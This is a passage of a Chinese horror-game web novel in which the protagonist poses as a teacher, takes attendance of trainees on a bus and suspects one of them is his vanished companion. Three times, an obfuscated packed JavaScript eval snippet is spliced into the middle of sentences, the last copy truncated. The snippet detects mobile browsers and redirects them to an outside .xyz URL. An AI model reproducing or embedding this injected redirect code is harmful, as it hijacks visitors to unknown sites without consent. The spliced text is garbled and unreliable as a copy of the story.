咪呜咪呜歪了歪脑袋,大眼睛眨巴着,一脸困惑。 官酉却没理会它的困惑,他听到了来人抱怨声。 “困死了。” “是又要去做什么见不得光的事了么?非得大半夜出发吗?” 声音沉稳清冽,明明是娇嗔的语气,却听不出一点女气。 呃……这是个男生?! 官酉眯了眯眼,又仔细打量了一下。 眉目如画,顾盼生姿,但鼻梁和颧骨轮廓确实硬挺,转折角度生硬。 还真是个男生啊…… 官酉撇了撇嘴,肾上腺髓质立刻停止分泌,被激起的兴趣瞬间消退,荡然无存。 男生的话,他宁愿是章知白回来了。 不过,他是凭什么让他瞬间产生出强烈的“危机感”? 力量? 脑子? 还是,他的显性优势,脸? 官酉好奇着,目光下挪,落在他袖口上。 被整齐卷起的袖口下延伸出一节手腕。 那手腕很细,几乎能被他用一个虎口牢牢圈住。 尺骨茎突高高耸起,似乎随时会撑破上面覆盖着的那层皮肤。 官酉的心里缓缓地冒出一个问号。 他的身体似乎,瘦到脱形了? 完全接近于皮包骨的状态,肌肉和脂肪余量为0。 这样的他,能有力量吗? “似乎都到齐了?”来人似乎没察觉到官酉的打量,反而笑眯眯问了手边的娃娃脸女生,“我来晚了吗?” 娃娃脸女生的脸直接红了,她害羞的垂下脑袋,小幅度的摇了摇:“没,没有。” “您来的刚刚好,车马上就要开了。” 男生闻言长舒一口气,空着的手夸张的拍了拍胸口,手腕一晃,一个黑漆漆的盒子凭空出现在他的手里。 “送给漂亮小姐的礼物。”他弯下腰,将盒子放在了女生一侧的扶手上,“游戏凶险,望小姐怜悯,护我一程?” 娃娃脸女生眼前一亮,拼命点头。 官酉:“……” 靠,真靠脸啊! 官酉瞬间失去了兴趣,闭上眼,将心神放回了第一个任务上。 最后上车的家伙彻底被踢出考虑范围。 他可不跟人比硬件。 而其他人…… 官酉稳了稳心神,再次把目光放在了高马尾少女的身上。 该怎么挑起和她之间的对峙呢? 官酉正思考着,忽然感受到脖颈处喷洒来一股热气,在接触到皮肤的瞬间,化成一层细密的水珠,冻得他忍不住瑟缩一下。 他猛地回神,瞳孔往右侧一撇,一缕打着卷的短刘海占据了他全部视线。 随后,一个轻佻带笑的男声乍响在他的耳侧:“嘿哥儿们,来之前擦了什么?好香。” ——淦!死hentai! 官酉瞳孔一缩,想也不想,拎起右拳挥了过去。 拳劲带着一阵罡风,“砰——”的一声,狠狠地砸在他面部颧骨上。 身边的人立刻闷哼一声跌跪在地上。 膝盖猛地撞上钢制的车板,发出令人牙酸的声响。 官酉不动声色的倒吸了一口凉气,目光瞥向泛红的关节,忍不住蹙眉。 这个人的骨头好硬! “你干什么!” 官酉猛地起身,居高临下的看着那个男生。 攥紧的拳头毫无松开的打算,他眉头紧蹙着,全身肌肉绷紧,似乎随时可能补上一拳。 “说话!” 可跪在地上的男生没说话,他甚至维持着被打倒的姿势,一动不动。 官酉疑惑了,晕了? 不应该啊…… 他刚刚挥出的那一拳看着是重,可落点时是收了力气的,最多起到个警告的作用,怎么可能把人揍晕? 这小子难不成是个脆皮? 官酉看着地上那一团,沉默着默认了这一点。 啧,真是个麻烦。 官酉想着,弯下腰,刚想伸手将人拎起来,一只枯瘦的手冷不丁的搭在了他的手腕上。 冰冷的触感顺着皮肤传过来,官酉后背汗毛瞬间立起。 他立刻想要将手抽回,可搭在他手腕上的手重于泰山,任凭他怎么扭动,都始终稳稳地挂在他的手腕上。 ——敲! 官酉瞳孔猛的一缩,空悬的左手立刻抓住他的手腕,指尖嵌进皮肉,几乎立刻碰到了他的骨头缝隙。 “把手拿开!” “疼疼疼疼!” 官酉和那个男生几乎同时开了口。 男生抬起头,表情痛苦,泪珠盈睫,“哥儿们,哥儿们,轻点轻点,疼,真的疼!” 娃娃脸女生立刻小声惊呼:“喂,你别伤了章大佬的手!” 章? 官酉瞬间捕获关键词,扭头瞪向那个少女:“你叫他什么?” 娃娃脸少女立刻瑟缩一下,眼眶中瞬间水汽氤氲。 马尾辫少女见状立刻将她挡在身后:“你要干什么?” “都是同伴,别自相残杀!” “他的手在后面还有用!别冲动!” 官酉没说话,目光略过在场的所有人,每一个人脸上的神情都十分复杂,有惊慌、恐惧、急切、还有几丝一闪而逝的幸灾乐祸。 官酉垂下头,面露好奇之色。 他的手是什么很珍贵的宝藏吗? 为什么每一个人都在害怕他的手受伤? 男生可怜巴巴的看着他,左手食指指侧刮了下他的手背:“大家都这么说了,松一下呗,求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703827|172298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你?” 酥酥麻麻的触感袭上手背,官酉脸色一黑,扣住手腕的五指用力一掰—— “咔哒”一声,男生的手便以一个极其扭曲的姿势垂了下去。 他这辈子,什么话都乐意听,唯独不爱听标准答案。。 他很好奇,没有标准答案之后,结局又会怎么样。 四周响起一片此起彼伏的抽气声。 “你,你折断了他的手?!” “天呐,他怎么敢的!” “完了,这下彻底完了……我们这车人都得死在这堂课上……” 官酉对这些话充耳不闻,他甩开男生的手,站直了身体:“慌什么?脱臼而已,又不是骨折。” “你懂什么!”身材矮小的男人吼了出来,“这堂课的老师最喜欢的就是手了!一堂课里,如果凑不出一双好手!大家都得死!都得死!” “哈哈哈哈哈哈哈哪怕是从头到尾听了他的话也一样!都得死!” 官酉眨巴了下眼睛,陷入沉思。 这堂课的教师不是他吗? 他怎么不知道自己有恋手癖? 【是这一堂课之前的常驻带课老师有哦。】 咪呜咪呜的解释贴心的响起在官酉的耳侧。 【嘶——那可是个令人闻风丧胆的变态!】 【他的课堂,从来都是血淋淋的,不管进去几人,只要不听他的话,出来的永远都是0人!】 【以至于每一次确定是他带课,所有的学员都忍不住诚服于他,不敢乱动。】 【不过他也不是无懈可击的,他的有很严重很严重的恋手癖!】 【倘若车里有一双漂亮到他心坎儿上的手,那他的要求也会随之放低。】 咪呜咪呜呼噜了两声,舔了舔爪子上的毛发。 【不过,你不用担心和他对上啦!】 【他上次带课出现了一点小意外,已经彻底消失在团队之中啦!】 官酉闻言,眼神一黯。 也就是说,他现在的位置上有一个变态前任,并且这个前任已经达成了,令学员依赖诚服的的结局? 事情越来越有意思了。 制作方先是看似出了一个几乎不可能完成的任务,又在不经意间将答案和盘托出? 这算什么? 胡萝卜加棒槌? 他们难道就没想过,万一有人压根儿就不吃这一套,他们该怎么办? 【抹杀倒计时00:05:03】 ……好吧,有这道催命符在,确实没人敢不吃这一套。 官酉垂下眼睫,目光落在那只被他弄脱臼的手上。 不得不承认,这只手确实漂亮。 手指修长,骨节分明,指腹有肉。 掌丘微微鼓起,掌纹清晰,修剪齐整的指甲透着健康的粉色。 连他一个没有恋手癖的人看了,都忍不住欣赏。 为了这只手牺牲一下,似乎也不是什么难以接受的事了。 “你说得对。”官酉忽然出了声,他弯下腰去,左手抓住男生的小臂,右手攥住手掌轻轻往上一推—— 一声“咔吧”脆响,男生的手复位了。 “我确实是个手控。” “所以,我们可以坐下来算账了吗?” 身材矮小的男人瞪着眼张着,不敢置信的看着官酉,浑身抑制不住的发抖。 下一秒,一股淡淡的腥臊味飘遍整辆大巴。 【嘀嘀嘀——突发事件完成。】 【任务奖励发放中——】 【您已获取10点积分】 【您已激活实习教师身份,教师套装已解锁,已投入使用。】 【恭喜您,获的隐藏级特殊物品:入场券(蓝色)(可升级)】 【入场券(蓝色):教师是所有学员的长明灯,是古老技艺的传承与教授人。每一位教授都该拥有一张属于自己的入场券。只可惜,入场券只会被强者拥有。】 【拿上入场券,您可以获取课堂的隐藏信息,当前所教授技艺的全部法门,畅通无阻的行走在课堂之中的权限。您的教授模式将被赋予自由灵魂,您可以按照您的喜好进行个性化授课。】 【请注意,当超过您阶位两阶的同类进入您的课堂,您的教授模式将被其接管,必须按照他的模式继续授课。】 左胸口的微微一凉,一张薄薄的金属片悄无声息地滑入官酉胸前的口袋之中。 7. 中国结(4) 成功了。 官酉松了口气。 他一边用积分兑换延长魔方用于延续意识存在时长,一边用眼角余光飞速扫过每一张脸。 不管是被吓尿了裤子的男人,还是马尾辫少女,眼里都闪烁着明晃晃的忌惮。 他们成功的被官酉误导,将他错认成了那个有恋手癖的前任。 忽然,官酉感到右肩膀往下一沉,一只熟悉的手挂了上来。 而后,是贴上耳廓的潮热呼吸,和轻得不努力去听几乎听不到的声音。 “你不是他,对吗?” 官酉瞳孔皱缩,脑子中“嗡”得一向,所有思绪瞬间凝聚成一条线横穿他的大脑。 他居然看出来了?! 这怎么可能?! 不是说,这辆车上根本没有人跟过前任的课吗?! “虽然没跟过教授的课,但有恋手癖的人可舍不得破坏艺术品,对吧?” 自然垂落的手腕晃了晃,微微翘起的指尖在他的眼皮子下乱颤。 官酉没吭声,他觑着那只乱晃的手,只觉得刚刚运动过的手痒得厉害。 “骨头又痒了?”官酉不动声色的询问。 男生灿灿一笑,飞快的将手抽了回去,左手扶住右手的手腕,表情哀伤:“别,别拧。教授,我不敢了,再也不敢了……” 说着,还朝着他wink了一下。 戏精啊…… 还是那么熟悉的拙劣演技。 他似乎也姓“章”? 不知道章知白在不在他的身上。 毕竟他的眉眼,怎么看怎么觉得熟悉。 阴森的声音忽然从大巴的前额处传来,回荡在大巴车内,每个成员的耳畔。 “欢迎各位学员来到喵喵非遗小课堂。” “在你们的世界里,每一个人都隐藏着自己的秘密。” “有的人杀过人,有的人虐过动物,有的人混淆了人口与牲口的概念,有的人……在等待一个毁灭城镇的机会。” “但没关系。神知道你们的来路,了解你们的苦痛。” “所以祂建造了这里,因为教育不会放弃每个人,也会给每个人一个重新的机会。” “去虔诚、虚心的学习吧,然后——” “在结业的大考上,交付出你们最终的答卷。” 咚—— 车顶猛地一响,向下凹陷,整辆车震了震,似乎有什么东西坠落到了车顶上。 雪白的闪电骤然出现,映亮了黑暗,露出车窗上密麻如蛛网般青紫色、尚在蠕动的线! 几声恐惧的惊呼立刻响起,伴着一声一闪即逝的轻笑。 官酉立刻看了过去,是那个刚被拧断了手的男生。 他察觉到了官酉的目光,扭头,假笑,还挥了挥刚接上的右手,却语气可怜巴巴:“教授,我骨头不痒,真的。” “现在,请教师行使权力,确认此次累计学时的学员身份。” 官酉收回目光,从左胸口袋里抽出条洁白如雪的手帕,将右手的手指头逐一擦拭干净。 金属片落袋的瞬间,他感觉浑身一松,仿佛积压在全身的疼痛被骤然卸去一般,只剩下前所未有的轻松。 他将手绢收好,昂首挺胸,一步一步走向大巴的最前端。 积压在车门口的人迅速退开,留出一条宽敞的小路。 他们的头随着他的步伐扭动,明明面上还挂着恐惧,眼里却有着探究。 官酉对他们的目光毫不在意,每往前踏出一步,便说一句。 “各位学员们好,欢迎来到非遗学院。我是你们本次的带课教师,官酉。” 万众瞩目之下,官酉唇角微翘,声音柔和却掷地有声。 “在接下来的学习过程中,将由我承担教师工作,陪伴大家度过六天五晚的学习时间。” 官酉的右脚尖踢上了收费亭的挡板。 “本次课程的题目为中国结的编织技法。学习过程中,将采取一课一练的学习模式,为结业大考做足准备。” “希望每一位学员都能中大考中考出好成绩。” 左脚尖贴上右脚跟的瞬间,暖黄色的灯光忽然亮了起来,将这辆大巴照得暖烘烘的。 窗外的雨声渐弱,浓墨似的黑暗褪去,露出悬挂在天边的新月。 车窗上,那如蛛网般的紫线消失了,瘪下去的车顶也鼓了回去。 萦绕在大巴中的恐怖氛围尽数消散,刚刚的一切就好似梦境一般,从未存在过。 官酉转过身去,将所有学员的表情尽收眼底。 在他逐步走上前的过程中,每一位学员似乎都找到了属于自己的位置。 他们拘谨的坐着,神色畏惧,身体却微微前倾,似乎是想和官酉靠得更近一些。 学员们惧怕老师,却又不得不靠近、依赖。 哪怕,他们知道,面前的这位是个随心所欲,残忍无比的变态? 看来,教师不仅仅是承担了教学工作,还起到了别的作用。 官酉的眼神闪了闪,眼角余光又不自觉的飘到了那个章姓男生的身上。 他还是那么的特立独行。 双臂交叉枕于脑后,双目微闭,呼吸和缓,像是在假寐。 他的身体也不似其他人一般前倾,而是微微后仰,似乎完全沉浸在自己的睡意之中。 他这是在用行动表示,他不需要老师的照拂吗? 很自信啊,他是觉得,以自己的实力,通过副本易如反掌,还是觉得,以自己的实力,随时可以取代官酉,成为新教师? 官酉低下头,看了眼自己手里的纸,眯了眯眼睛。 章……著金……? 著金……知白。 官酉的眼神闪了闪,好像知道了什么。 他抬起头,颇为意味深长的看了章著金一眼,唇角轻扬。 很好,我记住你了。 接下来的学习之旅,我很期待你能带给我多少惊喜。 “现在,确认学员身份。” 官酉的手里拿着一张薄薄的纸片,这是激活教师身份后,随着金属片一起出现的名单。 除此之外,官酉的脑海中还出现了一本薄薄的《教师手册》。 “1号学员,秦狩。” “到。”坐在中间的男人举起了手。 这是个带着金丝边眼镜的儒雅大叔,经过保养的皮相还是略显松垮,眼角的鱼尾纹几乎炸开了花。 “男,43岁。完成课堂7次,累计积分3000分。有问题吗?” “没问题。”大叔乐呵呵的摇了摇头。 官酉点了点头,眼一扫,将其他信息记入脑中。 顺便,他点开了脑内寄存的《教师手册》。 完成任务的10点积分被他用来兑换了时间,现在他的抹杀倒计时是【12:03:22】 12个小时,不够他撑过整场授课游戏,他必须尽快弄到新积分。 “2号学员,刘楚恬。” “到!”娃娃脸女生紧张到站了起来,声音颤抖着大声应答,“完,完成课堂3次,积,积分300。” 《教师手册》 《1.教师接受学院的安排,教授学员非遗知识,直到所有学员全部掌握。在学员通过结业大考后,学员将根据考试的均分成绩排名付给教师相应的积分。》 《2.教师不得主动伤害学员,包括精神和物理两种伤害。教师主动伤害学生将扣除100000积分。》 《3.因学员自身行为导致的意外,学院和老师概不负责。成绩均分将扣除该学员的成绩和人头。》 教师规则只有三条。 《更多手册内容,将在您解释初级教师身份后更新。》 官酉一哂,无所谓,他有的是办法从这些学员嘴里套出更多的信息。 “3号学员,夏铭。” 马尾辫的女生抬起了手:“夏铭,女,20岁。完成课堂13次,目前积分10000。” 官酉抬起头,看向夏铭。 夏铭毫不畏惧的对视回来,眸光清洌,不似在看活物。 她的头顶上冒出一大段信息。 【姓名:夏铭】 【阶位:初阶9级。】 【成就称号:冷漠的眼睛(绿色3星称号):一双极其冷漠的眼睛,没有情绪,也没有生命。仿佛世间的一切在她眼里都是死物。佩戴称号后,考试难度将自动向下降一级。】 【无畏者(蓝色1星称号):拿到称号的人可是个大英雄,永远冲在最前面!佩戴称号后,每成功完成一次课堂可获得双倍积分。】 官酉恍然大悟,怪不得只经历了13次课堂就能获得10000积分,原来是因为这个。 《教师手册》的第二页有关于学员积分获取的介绍。 课堂被分为五种模式:绿色、蓝色、橙色、红色、黑色。 每一种模式又被分为一星、二星、三星三个阶级。 绿色最简单,随后难度依次递增,UR为地狱模式。 学员获取积分的方式主要来源于考试和随堂小考,每完成一个难度就会获得与之对应的积分。 小考积分由带课教师在课程开始前进行分配,可分配的积分为结业考积分的三倍。 结业考积分则根据模式等级进行分配。 绿色模式下,一星结业考积分为10积分,每增加一星难度,增加10积分。 蓝色模式下,一星结业考积分为40积分,每增加一星难度,增加20积分。 橙色模式下,一星结业考积分为120积分,每增加一星难度,增加40积分。 红色模式下,一星结业考积分为240积分,每增加一星难度,增加60积分。 黑色模式下,一星结业考积分为500积分,每增加一星难度,增加150积分。 13次课堂,10000积分,即便有两个称号的加持,也需要强悍的实力。 他的直觉真准,这个女生确实是除了那个章著金外,最厉害的存在。 而章著金,这似乎是一个BUG。 官酉想着,看向了那个男生。 “4号,章著金。” 男生打了个哈欠,睁开一只眼,点了下头。 “教授,人还没死呢,别喊魂儿啊~” 官酉没吭声,他盯着章著金脑袋上,飘出的那行信息。 【姓名:章著金】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709582|172298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【阶位:初级1级】 【成就称号:无】 【当前累计通过考试:1次】 【累计获得积分:100000】 他究竟是怎么做到,仅仅通过1次结业考试,赚取到100000积分的? 难不成,他找到了制作团队的BUG? 似是触发了关键词,官酉的脑海里多出了一行信息。 【BUG:任何游戏都不会缺少的存在。为了游戏运行顺畅,我们鼓励每一位老师和学员善用这一双会发现的眼睛,找到存在的BUG。】 【游戏里的BUG分简单BUG,复杂BUG,两种类型。每发现一处简单BUG,将奖励5积分,每发现一处复杂BUG,奖励10积分。】 【这可是唯一主动获取积分的方式,发现了千万别错过,除非你的积分多到用不尽哦~】 官酉的眉尾突突直跳,他怎么都没想到,唯一主动获取积分的方式居然是“找BUG”,这个他完全不擅长的东西。 而且,就算他擅长,这也是个很不靠谱的获取积分方式。 他现在剩余的时长不足12个小时,根据延长魔方的介绍,除却第一次,其他时间想要兑换,需要100积分。 如果想要安稳的从整场游戏之中活下来,他至少需要1200积分。 如果他找简单BUG,就需要找250个,如果他找复杂BUG,就需要找120个。 而他是新人,根本不知道游戏的渲染方式是什么,布景是贴皮还是实景,BUG可能存在的方向。 他更不知道,整间学院到底有多大,制作方对之前所发现的BUG处理方式。 万一,在他进来之前,已经有人将BUG尽数发现并处理了,他岂不是得白忙活了? 更何况,他现在的积分是0,他需要另一个更加稳妥的、获取积分的方式。 “教授啊,不继续吗?还有那么多人章等着呢~” 官酉吸了口气,目光森冷的看过去:“叫老师。” 老师。 《教师手册》里的规定使用称呼,似乎和保卫学员有莫大的关系。 章XX哼唧了一声,没再说话。 官酉民了抿唇,继续喊了下去。 5号,魏莱,女,19岁,结业2次,200积分。 6号,周昌南,男,33岁,结业11次,2300积分。 7号,林惊秋,男,27岁,结业1次,100积分。 8号,刘立涛,男,31岁,结业4次,400积分。 9号,童话,女,22岁,结业1次,100积分。 官酉的目光逐一扫过这些人的脸,都是些普通的成就称号,似乎对他造成不了威胁。 但官酉依旧不敢放心,毕竟咪呜咪呜曾说过,老师和学生的地位随时有可能发生反转。 这辆车里的每一个人,他都必须盯紧。 蓦然间,大巴停了下来。 【教学楼8号楼已抵达,请老师整队,带学员下车。】 哐当两声,大巴的前后门同时打开,一股潮湿阴冷的水汽喷了进来,给甜美的提示音添加了一层可怖的气息。 【第一天必要行程安排】 【请老师注意,于天亮之前,将所有学员安全的带进教学楼,并送达教师303。】 【现在时间04:02:33,天亮时间05:23:23,你们只有1个小时的时间。】 【请各位学员注意,本次课堂评级为黑色一星,请务必跟紧教师,不要掉队,不要擅自行动,避免不必要的风险。】 【请老师做好带队工作,尽量避免减员的发生。】 一次性邀请函出现在每个学员的手中。 这是进入教学楼的钥匙,每个人都有,官酉也不例外。 不过,他的注意力已经被另一条刚刚出现的全新消息给掳走了。 【对于黑色一星教学任务的补充说明,请实习教师官酉查收。】 官酉眨眨眼,点开了这条消息。 【黑色一星的教学任务中,每有一位学员意外死亡,教师将获取100积分。】 【黑色一星的教学任务中,会为教师配一位助教,助教会加剧意外的发生。由助教导致的意外,教师将获取150积分。】 【备注:天呐!谁这么倒霉,居然抽中了黑色一星的教学任务!】 【不过没关系啦!仁慈的造物主大人神不会眼睁睁的看着自己的学员倒霉的!】 【看啊!他居然给教师配备了专属的助教和专用积分!】 【快去寻找你的助教吧!和你的助教一起,利用好这些积分,武装好自己,去保护更多的学生吧!】 【温馨提示:助教可是活动室的人哦,是不是和你心贴心就看你自己的魅力啦!】 官酉挑了挑眉尾,似乎有些惊讶。 老师主动导致学员死亡,扣除积分100000。 但学员意外死亡,老师可以获取积分100。 而如果是助教制造意外而导致学员意外死亡,老师可以获取积分150。 这个补充条例,对学生来说,真的是保护吗? 8. 中国结(5) 冰冷的雨丝打在大巴车的台阶上,官酉的指令清晰而冰冷:“按照学号排好队,一个个下,不要掉队。” 他率先下车,站在弥漫着铁锈与腐败气息的湿冷空气中,目光扫过身后九名神色各异的学员。 补充条例中的诱惑条款在他心中激不起半分涟漪。 “主动赚取积分?”官酉内心嗤笑。 且不说,非遗技艺本就是一门需要倾注心血与掌控力的艺术。学习过程中磕磕碰碰,甚至付出些“代价”,再正常不过,根本不用特意制造。 更何况,他还有一个系统“贴心”分配的、专职制造“意外”的助教,想要主动收割那150积分,似乎易如反掌。 但越是看似唾手可得的利益,陷阱往往越深。 一来,游戏制作方构建如此复杂的积分体系,必然存在保护机制。 学员积分难挣,教师积分也不会是白送的馅饼。 黑色一星课堂的积分获取“简化”应是流程优化,而非凭空多出一个违背常理的“诱因”。 如果有,那这“诱因”本身,就散发着阴谋的气息。 二来,“助教”是活生生的人,依赖“老师的魅力”维系。 这关系脆弱而危险。如果助教不是个正常人,且玩脱了,把“意外”制造到他眼皮底下,甚至危及他自身呢? 救?与他的生存哲学相悖。 不救?系统“不得主动伤害学员”的规则惩罚他可承受不起。 三来,系统不可能让他在12小时内无所事事。 无论是长期的教学任务还是短期的突发任务,10点积分的保底任务总会到来。靠任务积累100积分续命,时间虽紧,但可行性很高且风险可控。 四来,这九个学员绝非善茬。 他们目前的恐惧与依赖,完全来源于前任“恋手癖变态教师。 官酉不是这个人,且又对前任一无所知,这层伪装迟早会被戳破。 一旦有人因此制造事端,触发一个突发任务,哪怕只是最低档0积分的任务档,12小时内凑足所需并非难事。 四条理由,条条指向同一个结论:主动利用“助教”制造意外获取积分的性价比极低、风险极高。 开局就置身于火药桶上? 他官酉可没那么蠢。 任务么,要么会如约而至,要么会不期而遇。 他没必要为了一时之利,在开局就将自己置于高危境地。 六男三女在官酉的注视下沉默地排好队下了车。 大巴车悄无声息地消失在浓雾中,将他们遗弃在这条被高耸围墙夹峙的阴森窄路上。 枯死的藤蔓在几支手电筒的光柱下投下扭曲怪诞的阴影,道路尽头是浓得化不开的迷雾,吞噬了一切视线。 官酉蹙眉,下意识地从教师套装中抽出了那根骨白色的教鞭。几乎在指尖触及冰凉鞭柄的瞬间,一行信息流涌入脑海: 【教鞭(黑色三星):教师最得力的助手!浅浅一挥,驱散前方迷雾,为后来者指引方向!】 【备注:该鞭又名仙女伸缩鞭,那————么长那么短,除了驱散迷雾,为后来者指引方向外,还有更多妙用,期待您的发现哦~】 官酉:“……” 又是这种充满暗示的备注! 他握着教鞭,看着备注里那个刻意拉长的“那————么长”。 再联想到【延长魔方】的“延长那里”,一股不祥的预感油然而生。 这游戏的制作团队,绝对有某种不言而喻的恶趣味! 【嘀哔嘀哔!检测到有违禁思维产生!】 【呲你一下!小惩大诫!以儆效尤!】 【请记住!我们是教学游戏!必须健康!】 “什么意——?”官酉懵了,话未说完—— “噗嗤!” 一道高压水柱凭空出现,如同出膛的炮弹,精准无比地直轰在官酉脸上! 毫无防备! 冰冷的水流瞬间将他浇了个透心凉!额前碎发湿漉漉地贴在脸上,水珠顺着发梢、鼻尖、下颌线不断滚落,狼狈不堪。 “噗……”身后压抑的死寂被一声突兀的嗤笑打破,随即像是点燃了引线,爆发出更肆无忌惮的哄笑,尤其是章著金,笑得肩膀都在抖。 “思——”官酉吐出呛进嘴里的水,怒极反笑。 他猛地转身,长臂一展,如同鹰隼攫兔,精准地勾住章著金的脖子,一把将他拽到自己身前。 两人的距离瞬间拉近,官酉湿透的刘海几乎蹭到章著金的脸颊。 他指尖用力,狠狠抵在章著金颈动脉外侧敏感的皮肤上,声音带着被水浸过的寒意和毫不掩饰的杀意:“想死?” 章著金脸上的笑容瞬间僵住,漂亮的桃花眼眨了眨,一秒切换成可怜兮兮的模样。 他右手迅速捂住自己的嘴,鼻梁微皱,眉尾委屈地下撇,眼波流转间全是求饶。 左手小指还悄咪咪地勾上官酉同样湿透的衣角,轻轻扯了扯。 动作亲昵又挑衅,再配上他此刻无辜的表情,映在官酉眼里,简直火上浇油。 他的眼神暗了暗,抵着章著金脖颈的指尖又加了几分力,正要开口—— “嗡……” 手中的骨白教鞭忽然传来一阵奇异的震动,并非警示,更像是一种……共鸣? 官酉下意识地顺着那股牵引感,朝着面前浓得化不开的迷雾,信手一挥! 没有风声,没有呼啸。 只见一道柔和却凝练的乳白色光晕自鞭梢荡漾开来,如同投入浓墨中的一颗明珠。 光晕所过之处,翻涌的迷雾如同被无形的巨手撕开,迅速向两侧退散。 绵绵的雨丝骤停,遮蔽天幕的乌云仿佛被瞬间吹散,清冷的月光毫无阻碍地倾泻而下。 眼前豁然开朗。 一座庞大、阴森、充满压迫感的哥特式建筑矗立在道路尽头。 尖锐的塔楼如同巨兽的利齿直刺深蓝色的天穹。 在原本应放置时钟的最高点,一个巨大的、散发着幽冷光芒的花体数字“8”静静悬浮,如同俯瞰众生的独眼。 8号楼,出现了。 【教鞭使用(1/17):驱散迷雾,指引前路】 官酉握着微微发烫的教鞭,心中凛然。 17次! 这玩意儿居然有严格的使用次数限制! 为什么《教师手册》对此只字未提?! 手指下的动脉忽然快速涌动。 官酉下意识地瞥了一眼还被他钳制着的章著金。 章著金也正看着那栋楼,刚才装出来的可怜相消失无踪,眼神深处掠过一丝凝重和……难以言喻的兴奋? 他似乎感受到官酉的目光,立刻又换上那副玩世不恭的笑脸,被捂着嘴发出闷闷的声音:“不愧是您啊,教授。这一手鞭子耍得可真溜。” 眼神却贪婪地黏在了官酉手中的骨白教鞭上。 官酉冷哼一声,猛地松开钳制,像甩开什么脏东西一样,将他甩到身后。 他无视章著金那欠揍的表情,目光锐利地投向8号楼那黑洞洞的入口——一扇厚重、布满繁复雕花的巨大木门。 门扉紧闭,但门缝之下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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冰冷而清晰的命令回荡在死寂的雨夜:“所有人按照学号排好队,跟紧我。章著金押后。” …… 二十分钟后。 官酉突然停了下来。 “不走了?”周昌南,那个身材高大豹头环眼,肌肉虬结的男人的声音立刻从队伍中段传来,带着喘息和压抑不住的焦躁,“还有那么远!搞什么名堂?” 他的声音听起来有些虚浮,仿佛刚跑完长跑。 “呵。”章著金懒洋洋的声音在队尾响起,带着一丝不易察觉的玩味,“各位,回头看看呗?” “走了这么久,感觉如何?有没有觉得…腿脚发酸,却好像还在原地踏步?” 他的尾音拖长,像羽毛搔刮着紧绷的神经。 官酉没说话,他不需要章著金提醒。 这二十分钟内,他把自己想象成一台制造精巧的机器,每一步的步长都控制在60~66厘米。 步数在心中清晰计数——2400步。 按照常理,这足以跨越接近1.6公里的距离,可是—— 他的目光沉沉地投向脚下潮湿的青石板路。 道路本身并非毫无标识。 每隔一段距离,就有一条浅浅的、仿佛天然形成的横向石纹,像是某种原始的刻度。 从他下令出发的起点——那第一道清晰的横向刻痕开始算起…… 一、二、三、四、五、六。 他的脚后跟,正踩着第六条刻度线。 2400步,单步步长范围在60~66厘米,总计约1512米的理论位移。 落到现实却是:6条刻度线,仅仅6米的位移? 冰冷的数字在官酉脑中碰撞,炸开荒谬的火花。 6米。 他们拼尽全力、气喘吁吁地行进了二十分钟,仅仅前进了6米?! 这合理吗?! 9. 中国结(6) 空气仿佛凝固了。 除了官酉和似乎早有预料的章著金,其他学员顺着官酉的目光,也终于意识到了脚下刻度的诡异。 有人下意识地开始数自己走过的刻痕,脸色瞬间变得惨白如纸。 周昌南的喘息声更重了,这次不再是单纯的疲惫,而是混杂了难以置信的恐惧。 队伍中响起几声压抑的抽气声。 “啧,看来教授也发现了?” 章著金的声音依旧是那副懒洋洋的调子,在死寂中显得格外清晰。 他不知何时已经溜达到了队伍侧前方一点的位置,离官酉不远不近,正好能看清对方的表情。 他双手插在西装裤的浅口袋里,半个手背外露,歪着头,漂亮的桃花眼微微眯起,嘴角噙着一丝玩味的笑意。 “那教授不如猜猜,是什么原因导致的?” 那笑容里没有意外,只有一种“果然如此”的了然和…浓厚的兴趣。 “空间扭曲?鬼打墙?还是某种……作用于集体感知的精神干扰?” 他顿了顿,目光扫过官酉紧抿的唇线和他手中那根微微发烫的骨白教鞭,笑意更深,“又或者,是这栋‘好客’的教学楼,在给我们下马威?” 他仿佛在看一场精心编排的戏剧,而他们所有人,包括官酉,都是戏台上的角色。 官酉依旧沉默。 他的目光从脚下的刻度线缓缓抬起,落在章著金的身上,锐利如刀。 太熟悉了。 那微微上挑的眉梢弧度。 那双手插兜时习惯性露出的半截手背。 那带着戏谑腔调、尾音总爱拖长的说话方式。 还有此刻眼中那份毫不掩饰的、对未知和混乱的浓厚兴趣…… 章知白。 这个名字几乎要冲破理智的堤坝,在官酉的脑海中轰鸣。 他几乎可以确定,眼前这个名为“章著金”的神秘学员,就是那个与他意识共生五年、在第九次试炼后消失无踪的章知白! 但他想不明白! 在意识脱离躯壳上传游戏的短短时间里,在章知白自己所说的“被一股没有恶意的力量拽走”之后,到底发生了什么? 是那股力量重塑了他?赋予了他新的身份和实体? 他此刻的“章著金”身份,是伪装?是游戏赋予的角色? 还是某种……连他自己都未必完全清楚的状态? 无数疑问如同冰冷的藤蔓缠绕住官酉的心脏,与脚下这扭曲的空间带来的窒息感交织在一起。 